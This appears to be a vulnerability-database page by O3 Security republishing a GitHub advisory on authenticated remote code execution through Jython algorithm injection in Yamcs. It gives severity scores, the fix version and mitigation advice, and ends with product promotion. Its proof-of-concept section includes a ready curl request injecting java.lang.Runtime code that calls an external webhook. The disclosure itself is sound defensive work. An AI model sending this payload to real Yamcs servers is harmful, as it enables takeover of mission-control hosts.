GHSA-2g95-6x5q-xjwj
CRITICALGHSA-2g95-6x5q-xjwj is a critical-severity (CVSS 9.1) Code Injection vulnerability in org.yamcs:yamcs-core. O3 Security confirms whether GHSA-2g95-6x5q-xjwj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2g95-6x5q-xjwj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2g95-6x5q-xjwj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.
Details
The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).
Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.
PoC
Prerequisites:
- A running Yamcs instance with the Jython engine available in its classpath (e.g.,
jython-standalonedependency included). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege. - An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to
python(e.g., a custompocalgorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.
Exploitation Steps:
-
Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages
java.lang.Runtimeto execute an OS command (e.g., triggering an external webhook or a reverse shell).curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'(Note: Assigning a valid output like
out0.value = 1.0ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution). -
Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to update the required parameters likeSunsensor). -
The Yamcs server compiles the injected text into an executable script on the fly.
-
Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2g95-6x5q-xjwj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2g95-6x5q-xjwj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2g95-6x5q-xjwj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2g95-6x5q-xjwj in your dependencies?
O3 detects GHSA-2g95-6x5q-xjwj across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.